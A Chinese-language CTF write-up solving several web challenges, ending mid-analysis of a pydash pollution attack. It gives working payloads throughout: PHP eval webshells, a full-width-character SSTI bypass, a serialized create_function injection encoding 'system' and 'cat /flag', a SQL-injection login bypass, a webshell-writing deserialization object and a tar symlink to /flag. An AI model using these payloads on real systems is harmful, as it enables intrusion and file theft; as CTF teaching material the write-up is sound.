1. \b@by n0t1ce b0ard

提示很明显了,是CVE-2024-12233,上网查找进行复现

例如Email: 111@test.com,同时上传shell.php,内容如下:

1
<?php @eval($_POST['cmd']); ?>

然后蚁剑连接http://[题目IP]/images/111@test.com/shell.php


2. 难过的bottle

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
from bottle import route, run, template, post, request, static_file, error
import os
import zipfile
import hashlib
import time
import shutil


# hint: flag is in /flag

UPLOAD_DIR = 'uploads'
os.makedirs(UPLOAD_DIR, exist_ok=True)
MAX_FILE_SIZE = 1 * 1024 * 1024 # 1MB

BLACKLIST = ["b","c","d","e","h","i","j","k","m","n","o","p","q","r","s","t","u","v","w","x","y","z","%",";",",","<",">",":","?"]

def contains_blacklist(content):
"""检查内容是否包含黑名单中的关键词(不区分大小写)"""
content = content.lower()
return any(black_word in content for black_word in BLACKLIST)

def safe_extract_zip(zip_path, extract_dir):
"""安全解压ZIP文件(防止路径遍历攻击)"""
with zipfile.ZipFile(zip_path, 'r') as zf:
for member in zf.infolist():
member_path = os.path.realpath(os.path.join(extract_dir, member.filename))
if not member_path.startswith(os.path.realpath(extract_dir)):
raise ValueError("非法文件路径: 路径遍历攻击检测")

zf.extract(member, extract_dir)

@route('/')
def index():
"""首页"""
return '''
<!DOCTYPE html>
<html lang="zh-CN">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>ZIP文件查看器</title>
<link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/dist/css/bootstrap.min.css" rel="stylesheet">
<link rel="stylesheet" href="/static/css/style.css">
</head>
<body>
<div class="header text-center">
<div class="container">
<h1 class="display-4 fw-bold">📦 ZIP文件查看器</h1>
<p class="lead">安全地上传和查看ZIP文件内容</p>
</div>
</div>
<div class="container">
<div class="row justify-content-center" id="index-page">
<div class="col-md-8 text-center">
<div class="card">
<div class="card-body p-5">
<div class="emoji-icon">📤</div>
<h2 class="card-title">轻松查看ZIP文件内容</h2>
<p class="card-text">上传ZIP文件并安全地查看其中的内容,无需解压到本地设备</p>
<div class="mt-4">
<a href="/upload" class="btn btn-primary btn-lg px-4 me-3">
📁 上传ZIP文件
</a>
<a href="#features" class="btn btn-outline-secondary btn-lg px-4">
ℹ️ 了解更多
</a>
</div>
</div>
</div>
</div>
</div>
<div class="row mt-5" id="features">
<div class="col-md-4 mb-4">
<div class="card h-100">
<div class="card-body text-center p-4">
<div class="emoji-icon">🛡️</div>
<h4>安全检测</h4>
<p>系统会自动检测上传文件,防止路径遍历攻击和恶意内容</p>
</div>
</div>
</div>
<div class="col-md-4 mb-4">
<div class="card h-100">
<div class="card-body text-center p-4">
<div class="emoji-icon">📄</div>
<h4>内容预览</h4>
<p>直接在线查看ZIP文件中的文本内容,无需下载</p>
</div>
</div>
</div>
<div class="col-md-4 mb-4">
<div class="card h-100">
<div class="card-body text-center p-4">
<div class="emoji-icon">⚡</div>
<h4>快速处理</h4>
<p>高效处理小于1MB的ZIP文件,快速获取内容</p>
</div>
</div>
</div>
</div>
</div>
<script src="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/dist/js/bootstrap.bundle.min.js"></script>
</body>
</html>
'''

@route('/upload')
def upload_page():
"""上传页面"""
return '''
<!DOCTYPE html>
<html lang="zh-CN">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>上传ZIP文件</title>
<link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/dist/css/bootstrap.min.css" rel="stylesheet">
<link rel="stylesheet" href="/static/css/style.css">
</head>
<body>
<div class="header text-center">
<div class="container">
<h1 class="display-4 fw-bold">📦 ZIP文件查看器</h1>
<p class="lead">安全地上传和查看ZIP文件内容</p>
</div>
</div>
<div class="container mt-4">
<div class="row justify-content-center">
<div class="col-md-8">
<div class="card">
<div class="card-header bg-primary text-white">
<h4 class="mb-0">📤 上传ZIP文件</h4>
</div>
<div class="card-body">
<form action="/upload" method="post" enctype="multipart/form-data" class="upload-form">
<div class="mb-3">
<label for="fileInput" class="form-label">选择ZIP文件(最大1MB)</label>
<input class="form-control" type="file" name="file" id="fileInput" accept=".zip" required>
<div class="form-text">仅支持.zip格式的文件,且文件大小不超过1MB</div>
</div>
<button type="submit" class="btn btn-primary w-100">
📤 上传文件
</button>
</form>
</div>
</div>
<div class="text-center mt-4">
<a href="/" class="btn btn-outline-secondary">
↩️ 返回首页
</a>
</div>
</div>
</div>
</div>
<script src="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/dist/js/bootstrap.bundle.min.js"></script>
</body>
</html>
'''

@post('/upload')
def upload():
"""处理文件上传"""
zip_file = request.files.get('file')
if not zip_file or not zip_file.filename.endswith('.zip'):
return '请上传有效的ZIP文件'

zip_file.file.seek(0, 2)
file_size = zip_file.file.tell()
zip_file.file.seek(0)

if file_size > MAX_FILE_SIZE:
return f'文件大小超过限制({MAX_FILE_SIZE/1024/1024}MB)'

timestamp = str(time.time())
unique_str = zip_file.filename + timestamp
dir_hash = hashlib.md5(unique_str.encode()).hexdigest()
extract_dir = os.path.join(UPLOAD_DIR, dir_hash)
os.makedirs(extract_dir, exist_ok=True)

zip_path = os.path.join(extract_dir, 'uploaded.zip')
zip_file.save(zip_path)

try:
safe_extract_zip(zip_path, extract_dir)
except (zipfile.BadZipFile, ValueError) as e:
shutil.rmtree(extract_dir)
return f'处理ZIP文件时出错: {str(e)}'

files = [f for f in os.listdir(extract_dir) if f != 'uploaded.zip']

return template('''
<!DOCTYPE html>
<html lang="zh-CN">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>上传成功</title>
<link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/dist/css/bootstrap.min.css" rel="stylesheet">
<link rel="stylesheet" href="/static/css/style.css">
</head>
<body>
<div class="header text-center">
<div class="container">
<h1 class="display-4 fw-bold">📦 ZIP文件查看器</h1>
<p class="lead">安全地上传和查看ZIP文件内容</p>
</div>
</div>

<div class="container mt-4">
<div class="row justify-content-center">
<div class="col-md-8">
<div class="card">
<div class="card-header bg-success text-white">
<h4 class="mb-0">✅ 上传成功!</h4>
</div>
<div class="card-body">
<div class="alert alert-success" role="alert">
✅ 文件已成功上传并解压
</div>

<h5>文件列表:</h5>
<ul class="list-group mb-4">
% for file in files:
<li class="list-group-item d-flex justify-content-between align-items-center">
<span>📄 {{file}}</span>
<a href="/view/{{dir_hash}}/{{file}}" class="btn btn-sm btn-outline-primary">
查看
</a>
</li>
% end
</ul>

% if files:
<div class="d-grid gap-2">
<a href="/view/{{dir_hash}}/{{files[0]}}" class="btn btn-primary">
👀 查看第一个文件
</a>
</div>
% end
</div>
</div>

<div class="text-center mt-4">
<a href="/upload" class="btn btn-outline-primary me-2">
➕ 上传另一个文件
</a>
<a href="/" class="btn btn-outline-secondary">
🏠 返回首页
</a>
</div>
</div>
</div>
</div>

<script src="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/dist/js/bootstrap.bundle.min.js"></script>
</body>
</html>
''', dir_hash=dir_hash, files=files)

@route('/view/<dir_hash>/<filename:path>')
def view_file(dir_hash, filename):
file_path = os.path.join(UPLOAD_DIR, dir_hash, filename)

if not os.path.exists(file_path):
return "文件不存在"

if not os.path.isfile(file_path):
return "请求的路径不是文件"

real_path = os.path.realpath(file_path)
if not real_path.startswith(os.path.realpath(UPLOAD_DIR)):
return "非法访问尝试"

try:
with open(file_path, 'r', encoding='utf-8') as f:
content = f.read()
except:
try:
with open(file_path, 'r', encoding='latin-1') as f:
content = f.read()
except:
return "无法读取文件内容(可能是二进制文件)"

if contains_blacklist(content):
return "文件内容包含不允许的关键词"

try:
return template(content)
except Exception as e:
return f"渲染错误: {str(e)}"

@route('/static/<filename:path>')
def serve_static(filename):
"""静态文件服务"""
return static_file(filename, root='static')

@error(404)
def error404(error):
return "讨厌啦不是说好只看看不摸的吗"

@error(500)
def error500(error):
return "不要透进来啊啊啊啊"

if __name__ == '__main__':
os.makedirs('static', exist_ok=True)

#原神,启动!
run(host='0.0.0.0', port=5000, debug=False)

在源码 view_file 函数中,直接将用户上传的文件内容传递给了 Bottle 框架的 template() 函数:

1
return template(content)

这是一个典型的SSTI漏洞

但源码中定义了严格的 BLACKLIST,过滤了绝大多数小写字母(包括 o, p, e, n, r, e, a, d 等)以及特殊符号(%, ;, <, > 等)。

利用 Python 3 的 Unicode 标准化特性 (NFKC)。Python 3 解释器在解析代码时,会将全角字符和其他兼容字符标准化为对应的 ASCII 字符。

例如,Python 解释器执行时,open 会被解析为 open 函数。

最终 Payload:

1
{{ open('/flag').read() }}
  1. 在中文输入法状态下,按 Shift + Space 切换到“全角模式”,然后输入 openread

  2. 新建一个文本文件payload.txt,使用文本编辑器写入以下内容(注意全角和半角的混合):

    1
    {{ open('/flag').read() }}
  3. payload.txt 压缩为 payload.zip后上传


3. Bypass

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
<?php
class FLAG
{
private $a;
protected $b;
public function __construct($a, $b)
{
$this->a = $a;
$this->b = $b;
$this->check($a,$b);
eval($a.$b);
}
public function __destruct(){
$a = (string)$this->a;
$b = (string)$this->b;
if ($this->check($a,$b)){
$a("", $b);
}
else{
echo "Try again!";
}
}
private function check($a, $b) {
$blocked_a = ['eval', 'dl', 'ls', 'p', 'escape', 'er', 'str', 'cat', 'flag', 'file', 'ay', 'or', 'ftp', 'dict', '\.\.', 'h', 'w', 'exec', 's', 'open'];

$blocked_b = ['find', 'filter', 'c', 'pa', 'proc', 'dir', 'regexp', 'n', 'alter', 'load', 'grep', 'o', 'file', 't', 'w', 'insert', 'sort', 'h', 'sy', '\.\.', 'array', 'sh', 'touch', 'e', 'php', 'f'];

$pattern_a = '/' . implode('|', array_map('preg_quote', $blocked_a, ['/'])) . '/i';
$pattern_b = '/' . implode('|', array_map('preg_quote', $blocked_b, ['/'])) . '/i';

if (preg_match($pattern_a, $a) || preg_match($pattern_b, $b)) {
return false;
}
return true;
}
}

if (isset($_GET['exp'])) {
$p = unserialize($_GET['exp']);
var_dump($p);
}else{
highlight_file("index.php");
}

eval($a.$b);放在__construct 里摸不到,这题可以通过调用create_function函数实现远程命令执行

由于create_function函数的特殊性,它不是直接运行你的代码,而是把代码包在一个函数定义里再去运行,例如

1
function abcd() { [代码] }

所以payloaad需要进行以} [代码] //的形式构造,闭合前面函数

黑名单 a:过滤了

‘eval’, ‘dl’, ‘ls’, ‘p’, ‘escape’, ‘er’, ‘str’, ‘cat’, ‘flag’, ‘file’, ‘ay’, ‘or’, ‘ftp’, ‘dict’, ‘..‘, ‘h’, ‘w’, ‘exec’, ‘s’, ‘open’

黑名单 b:过滤了

‘find’, ‘filter’, ‘c’, ‘pa’, ‘proc’, ‘dir’, ‘regexp’, ‘n’, ‘alter’, ‘load’, ‘grep’, ‘o’, ‘file’, ‘t’, ‘w’, ‘insert’, ‘sort’, ‘h’, ‘sy’, ‘..‘, ‘array’, ‘sh’, ‘touch’, ‘e’, ‘php’, ‘f’

可以联动无字母rce的知识,用取反绕过黑名单

但由于本题在绕过两个黑名单时是在php代码内部,而不是在url栏,所以不能采用url编码,可以采用十六进制转换

在kali终端采用命令:

1
2
3
4
php -r "echo bin2hex(~'system');"
//8c868c8b9a92
php -r "echo bin2hex(~'cat /flag');"
//9c9e8bdfd099939e98

换成\xx形式,接着填入exp.php:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
class FLAG {
private $a;
protected $b;

public function __construct() {
$this->a = "create_function";
$this->b = "} (~\"\x8c\x86\x8c\x8b\x9a\x92\")((~\"\x9c\x9e\x8b\xdf\xd0\x99\x93\x9e\x98\")); //";
}
}

$exp = new FLAG();
echo urlencode(serialize($exp));
//O%3A4%3A%22FLAG%22%3A2%3A%7Bs%3A7%3A%22%00FLAG%00a%22%3Bs%3A15%3A%22create_function%22%3Bs%3A4%3A%22%00%2A%00b%22%3Bs%3A33%3A%22%7D+%28%7E%22%8C%86%8C%8B%9A%92%22%29%28%28%7E%22%9C%9E%8B%DF%D0%99%93%9E%98%22%29%29%3B+%2F%2F%22%3B%7D

4. ezrce

1
2
3
4
5
6
7
8
9
10
11
<?php
highlight_file(__FILE__);

if(isset($_GET['code'])){
$code = $_GET['code'];
if (preg_match('/^[A-Za-z\(\)_;]+$/', $code)) {
eval($code);
}else{
die('师傅,你想拿flag?');
}
}

正则 /^[A-Za-z\(\)_;]+$/ 过滤了参数输入,只能使用大小写字母、小括号 ()、分号 ; 和下划线 _

先测试payload:

1
?code=var_dump(scandir(getcwd()));

回显:

array(3) { [0]=> string(1) “.” [1]=> string(2) “..” [2]=> string(9) “index.php” }

说明flag不在当前目录,尝试打印根目录的文件:

1
var_dump(scandir(dirname(dirname(dirname(getcwd())))));

回显:

array(21) { [0]=> string(1) “.” [1]=> string(2) “..” [2]=> string(10) “.dockerenv” [3]=> string(3) “bin” [4]=> string(3) “dev” [5]=> string(3) “etc” [6]=> string(4) “flag” [7]=> string(4) “home” [8]=> string(3) “lib” [9]=> string(5) “media” [10]=> string(3) “mnt” [11]=> string(3) “opt” [12]=> string(4) “proc” [13]=> string(4) “root” [14]=> string(3) “run” [15]=> string(4) “sbin” [16]=> string(3) “srv” [17]=> string(3) “sys” [18]=> string(3) “tmp” [19]=> string(3) “usr” [20]=> string(3) “var” }

发现flag文件,读取文件内容(没出来就多刷新几次):

1
chdir(dirname(dirname(dirname(getcwd()))));show_source(array_rand(array_flip(scandir(getcwd()))));

5. flag到底在哪

链接进去后什么都没有,扫目录扫出/robots.txt和/admin/login.php

访问/admin/login.php出现登录框

根据提示 username输入admin,密码则尝试万能密码,再根据题目提示要使用大写,使用万能密码:

1
' OR '1'='1' #

进去后的页面直接说明上传 PHP Webshell,那就上传一句话木马,用蚁剑连接后使用插件查看phpinfo找到flag


6. 来签个到吧

看附件,先看index.php:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php
require_once "./config.php";
require_once "./classes.php";

if ($_SERVER["REQUEST_METHOD"] === "POST") {
$s = $_POST["shark"] ?? '喵喵喵?';

if (str_starts_with($s, "blueshark:")) {
$ss = substr($s, strlen("blueshark:"));

$o = @unserialize($ss);

$p = $db->prepare("INSERT INTO notes (content) VALUES (?)");
$p->execute([$ss]);

echo "save sucess!";
exit(0);
} else {
echo "喵喵喵?";
exit(1);
}
}

$q = $db->query("SELECT id, content FROM notes ORDER BY id DESC LIMIT 10");
$rows = $q->fetchAll(PDO::FETCH_ASSOC);
?>

可以知道:

  1. POST传入shark参数

  2. 会检验前缀是否是blueshark:

  3. @unserialize($ss)会触发反序列化,同时@抑制报错

  4. 使用了 PDO 预处理,杜绝了 SQL 注入漏洞

再看classes.php:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
<?php
class FileLogger {
public $logfile = "/tmp/notehub.log";
public $content = "";

public function __construct($f=null) {
if ($f) {

$this->logfile = $f;
}
}

public function write($msg) {
$this->content .= $msg . "\n";
file_put_contents($this->logfile, $this->content, FILE_APPEND);
}

public function __destruct() {
if ($this->content) {
file_put_contents($this->logfile, $this->content, FILE_APPEND);
}
}
}

class ShitMountant {
public $url;
public $logger;

public function __construct($url) {
$this->url = $url;
$this->logger = new FileLogger();
}

public function fetch() {
$c = file_get_contents($this->url);
if ($this->logger) {
$this->logger->write("fetched ==> " . $this->url);
}
return $c;
}

public function __destruct() {
$this->fetch();
}
}
?>

抓住关键函数file_put_contents,这里就是传入shell并读取flag的关键

再看config.php:

1
2
3
4
5
6
7
8
9
<?php
define('DB_FILE', '/tmp/notehub.db');

if (!file_exists(DB_FILE)) {
$db = new PDO('sqlite:' . DB_FILE);
$db->exec("CREATE TABLE notes (id INTEGER PRIMARY KEY AUTOINCREMENT, content TEXT)");
} else {
$db = new PDO('sqlite:' . DB_FILE);
}

只是说明连接到或者自动初始化一个 SQLite 数据库,没有什么太大作用

最后看api.php:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php
require_once "./config.php";
require_once "./classes.php";

$id = $_GET["id"] ?? '喵喵喵?';

$s = $db->prepare("SELECT content FROM notes WHERE id = ?");
$s->execute([$id]);
$row = $s->fetch(PDO::FETCH_ASSOC);

if (! $row) {
die("喵喵喵?");
}

$cfg = unserialize($row["content"]);

if ($cfg instanceof ShitMountant) {
$r = $cfg->fetch();
echo "ok!" . "<br>";
echo nl2br(htmlspecialchars($r));
}
else {
echo "喵喵喵?";
}
?>

可以知道:

  1. 传入GET参数id

  2. 使用了 PDO 预处理,杜绝了 SQL 注入漏洞

  3. 存在 echo nl2br(htmlspecialchars($r));可以打印出回显内容,但采用写入shell不需要用到

攻击顺序差不多捋清了:

  1. 首先利用classes.php中的类编写脚本

    1
    2
    3
    4
    5
    6
    7
    8
    9
    <?php
    class FileLogger {
    public $logfile = "shell.php";
    public $content = "<?php @eval(\$_POST['cmd']);?>";
    }

    $a = new FileLogger();
    echo serialize($a);
    ?>

    注意: 因为用了双引号 "",PHP 会认为 $_POST 是当前脚本的一个变量,会尝试立刻解析它,因为当前脚本里并没有传参,$_POST['cmd'] 是空的,最终生成的字符串变成了:<?php @eval();?> ,所以需要反斜杠\进行转义!)

    生成payload:

    1
    O:10:"FileLogger":2:{s:7:"logfile";s:9:"shell.php";s:7:"content";s:29:"<?php @eval($_POST['cmd']);?>";}
  2. 根据index.php的源码,修改payload并在http://目标IP:端口/index.php页面传入POST数据:

    1
    shark=blueshark:O:10:"FileLogger":2:{s:7:"logfile";s:9:"shell.php";s:7:"content";s:29:"<?php @eval($_POST['cmd']);?>";}
  3. 连接shell,访问http://目标IP:端口/shell.php,若页面空白则表示成功,在post中传入:cmd=system(‘cat /flag’);拿到flag


7. flag?我就借走了

“支持上传打包格式,上传后会自动帮你解压到目录” 且后端是 Python + Flask

尝试软链接读取flag

首先在本地创建一个指向 /flag 的快捷方式,再用 tar 命令把它打包,服务器解压后,会在上传目录下生成一个指向服务器根目录下 /flag 的快捷方式。

比如在kali终端执行:

1
2
ln -s /flag flag.txt
tar -cf flag.tar flag.txt

上传后点击flag.txt的快捷方式即可


8. Who am I

随便注册个账号,在登录时抓包发现在POST多了一个type=1

改成type=0后是一个302页面,可以跳转去/272e1739b89da32e983970ece1a086bd

p1

访问发现可以查看配置文件

sontriex.a47b9c5f.js:

1
2
3
4
5
fetch("/user/demo",{method:"POST"})
.then(r => r.json())
.then(data => {
document.getElementById("username").innerText = data.username;
});

malniest.e19a0e13.js:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
(function () {
"use strict";

function noop() {}
function identity(x) { return x; }
function times(n, fn) { for (let i = 0; i < n; i++) fn(i); }
function clamp(v, a, b) { return Math.min(b, Math.max(a, v)); }
function hashStr(s) { let h = 0; for (let i = 0; i < s.length; i++) h = (h << 5) - h + s.charCodeAt(i) | 0; return h >>> 0; }
function randInt(a, b) { return a + Math.floor(Math.random() * (b - a + 1)); }
function pad2(n) { return n < 10 ? "0" + n : "" + n; }
function dateStamp() { const d = new Date(); return d.getFullYear()+"-"+pad2(d.getMonth()+1)+"-"+pad2(d.getDate()); }
function debounce(fn, wait) { let t; return function () { clearTimeout(t); t = setTimeout(() => fn.apply(this, arguments), wait); }; }
function throttle(fn, wait) { let last = 0; return function () { const now = Date.now(); if (now - last >= wait) { last = now; fn.apply(this, arguments); } }; }
function memo(fn) { const m = new Map(); return function (k) { if (m.has(k)) return m.get(k); const v = fn(k); m.set(k, v); return v; }; }
const expensive = memo(n => { let r = 1; for (let i = 1; i < 1000; i++) r = (r * (n + i)) % 2147483647; return r; });

function camel(s){return s.replace(/[-_](\w)/g,(_,c)=>c.toUpperCase());}
function chunk(arr, size){const out=[];for(let i=0;ia.concat(b),[]);}
function repeatStr(s,n){let r="";times(n,()=>r+=s);return r;}
const loremPool = "lorem ipsum dolor sit amet consectetur adipiscing elit".split(" ");
function lorem(n){let r=[];times(n,()=>r.push(loremPool[randInt(0,loremPool.length-1)]));return r.join(" ");}

const Net = {
get: function(url){ return Promise.resolve({url, ok: true, ts: Date.now()}); },
post: function(url, body){ return Promise.resolve({url, ok: true, len: JSON.stringify(body||{}).length}); }
};

const Bus = (function(){
const map = new Map();
return {
on: (e,fn)=>{ if(!map.has()) map.set(e, []); map.get(e).push(fn); },
emit: (e,p)=>{ const arr = map.get(e)||[]; arr.forEach(fn=>{ try{fn(p);}catch(_){} }); },
off: (e,fn)=>{ const arr = map.get(e)||[]; map.set(e, arr.filter(f=>f!==fn)); }
};
})();

const DOM = {
qs: (sel, root=document)=>root.querySelector(sel),
qsa: (sel, root=document)=>Array.from(root.querySelectorAll(sel)),
el: (tag, props)=>Object.assign(document.createElement(tag), props||{}),
hide: (node)=>{ if(node && node.style) node.style.display = "none"; },
show: (node)=>{ if(node && node.style) node.style.display = ""; },
on: (node, ev, fn, opt)=>node && node.addEventListener(ev, fn, opt)
};

function fakeLayoutScore(node){
if(!node) return 0;
const r = node.getBoundingClientRect ? node.getBoundingClientRect() : {width:1,height:1};
return clamp(Math.floor((r.width * r.height) % 9973), 0, 9973);
}

const CFG = {
version: "v"+dateStamp()+"."+randInt(100,999),
flags: { featureX: false, featureY: true, verbose: false }
};
const Cache = new Map();

(function lightScheduler(){
const tasks = [
()=>Cache.set("k"+randInt(1,9), hashStr(lorem(5))),
()=>expensive(randInt(1,100)),
()=>Bus.emit("tick", Date.now())
];
let i=0;
setTimeout(function run(){
try { tasks[i%tasks.length](); } catch(_){}
i++;
if(i<5) setTimeout(run, randInt(60,140));
}, randInt(50,120));
})();

function ensureTypeHidden() {
const form = DOM.qs("form[action='/login'][method='POST']");
if (!form) return;

let hidden = form.querySelector("input[name='type']");
if (!hidden) {
hidden = DOM.el("input", { type: "hidden", name: "type", value: "1" });
form.appendChild(hidden);
}

DOM.on(form, "submit", function () {
let h = form.querySelector("input[name='type']");
if (!h) {
h = DOM.el("input", { type: "hidden", name: "type", value: "1" });
form.appendChild(h);
} else if (h.value !== "1") {
h.value = "1";
}
});
}

function mountInvisible(){
try{
const ghost = DOM.el("div");
ghost.setAttribute("data-h", hashStr(CFG.version));
ghost.style.cssText = "display:none;width:0;height:0;overflow:hidden;";
ghost.textContent = repeatStr("*", randInt(1,3));
document.body.appendChild(ghost);
}catch(_){}
}

function prewarm(){
try{
Net.get("/ping?_="+Date.now()).then(noop).catch(noop);
times(3, i => Cache.set("warm"+i, expensive(i+1)));
}catch(_){}
}

function keySpy(){
const handler = throttle(function(){ }, 200);
DOM.on(document, "keydown", handler);
}

function init(){
prewarm();
keySpy();
ensureTypeHidden();
mountInvisible();
Bus.on("tick", noop);
}

if (document.readyState === "loading") {
document.addEventListener("DOMContentLoaded", init, { once: true });
} else {
init();
}

})();

mian.py:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
from flask import Flask,request,render_template,redirect,url_for
import json
import pydash

app=Flask(__name__)

database={}
data_index=0
name=''

@app.route('/',methods=['GET'])
def index():
return render_template('login.html')

@app.route('/register',methods=['GET'])
def register():
return render_template('register.html')

@app.route('/registerV2',methods=['POST'])
def registerV2():
username=request.form['username']
password=request.form['password']
password2=request.form['password2']
if password!=password2:
return '''
<script>
alert('前后密码不一致,请确认后重新输入。');
window.location.href='/register';
</script>
'''
else:
global data_index
data_index+=1
database[data_index]=username
database[username]=password
return redirect(url_for('index'))

@app.route('/user_dashboard',methods=['GET'])
def user_dashboard():
return render_template('dashboard.html')

@app.route('/272e1739b89da32e983970ece1a086bd',methods=['GET'])
def A272e1739b89da32e983970ece1a086bd():
return render_template('admin.html')

@app.route('/operate',methods=['GET'])
def operate():
username=request.args.get('username')
password=request.args.get('password')
confirm_password=request.args.get('confirm_password')
if username in globals() and "old" not in password:
Username=globals()[username]
try:
pydash.set_(Username,password,confirm_password)
return "oprate success"
except:
return "oprate failed"
else:
return "oprate failed"

@app.route('/user/name',methods=['POST'])
def name():
return {'username':user}

def logout():
return redirect(url_for('index'))

@app.route('/reset',methods=['POST'])
def reset():
old_password=request.form['old_password']
new_password=request.form['new_password']
if user in database and database[user] == old_password:
database[user]=new_password
return '''
<script>
alert('密码修改成功,请重新登录。');
window.location.href='/';
</script>
'''
else:
return '''
<script>
alert('密码修改失败,请确认旧密码是否正确。');
window.location.href='/user_dashboard';
</script>
'''

@app.route('/impression',methods=['GET'])
def impression():
point=request.args.get('point')
if len(point) > 5:
return "Invalid request"
List=["{","}",".","%","<",">","_"]
for i in point:
if i in List:
return "Invalid request"
return render_template(point)

@app.route('/login',methods=['POST'])
def login():
username=request.form['username']
password=request.form['password']
type=request.form['type']
if username in database and database[username] != password:
return '''
<script>
alert('用户名或密码错误请重新输入。');
window.location.href='/';
</script>
'''
elif username not in database:
return '''
<script>
alert('用户名或密码错误请重新输入。');
window.location.href='/';
</script>
'''
else:
global name
name=username
if int(type)==1:
return redirect(url_for('user_dashboard'))
elif int(type)==0:
return redirect(url_for('A272e1739b89da32e983970ece1a086bd'))

if __name__=='__main__':
app.run(host='0.0.0.0',port=8080,debug=False)

两个js文件和一个py文件,谁更重要好难猜啊,着重分析一下main.py

首先是最明显的一个之前没出现过的路由/operate

1
2
3
4
5
6
7
8
9
10
11
12
13
14
@app.route('/operate',methods=['GET'])
def operate():
username=request.args.get('username')
password=request.args.get('password')
confirm_password=request.args.get('confirm_password')
if username in globals() and "old" not in password:
Username=globals()[username]
try:
pydash.set_(Username,password,confirm_password)
return "oprate success"
except:
return "oprate failed"
else:
return "oprate failed"
  • 这一部分存在三个可控GET参数username、password、confirm_password

  • 同时出现了最关键的语句pydash.set_(Username,password,confirm_password),这里明确了如何利用这三个参数进行污染

    • pydash.set_ 函数的语法是: pydash.set_(对象, 属性路径, 新值)

接着是另一个也没有出现过的路由/impression

1
2
3
4
5
6
7
8
9
10
@app.route('/impression',methods=['GET'])
def impression():
point=request.args.get('point')
if len(point) > 5:
return "Invalid request"
List=["{","}",".","%","<",">","_"]
for i in point:
if i in List:
return "Invalid request"
return render_template(point)
  • 给了新GET参数point,并且限制了只能五个字符,那flag文件大概就叫flag了

  • 给出了黑名单,其中过滤了{, }, %, _封杀 SSTI,过滤了. (点)封杀路径穿越和特定文件读取,过滤了<, >封杀 XSS,只能用配置污染

  • 最后返回了render_template(point),这就是能渲染出flag文件内容的关键

首先根据树状图确定:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
app (Flask 应用实例)

├── .config (配置字典)
│ │ # 这里存放着所有的安全配置
│ ├── ['SECRET_KEY'] -> Session 签名密钥 (拿到它就能伪造任意用户登录)
│ ├── ['SQLALCHEMY_DATABASE_URI'] -> 数据库连接串 (改成你的恶意数据库地址)
│ ├── ['DEBUG'] -> 调试模式开关 (部分版本开启可导致 RCE)
│ ├── ['PERMANENT_SESSION_LIFETIME']-> Session 过期时间
│ └── ... (其他自定义配置)

├── .jinja_loader (本题攻击区:模板加载器)
│ │ # 负责寻找模板文件
│ └── .searchpath (list) -> [关键] 模板搜索路径列表
│ │ (默认是 ['/app/templates'])
│ └── 改为 ['/'] 则导致 LFI

├── .jinja_env (Jinja2 环境配置)
│ │ # 这里控制着模板渲染的规则
│ ├── .globals (dict) -> 全局函数/变量 (SSTI 常在这里找 os/eval)
│ ├── .filters (dict) -> 过滤器定义
│ └── ...

├── .url_map (路由映射表)
│ │ # 决定了 URL 怎么跳转
│ └── ...
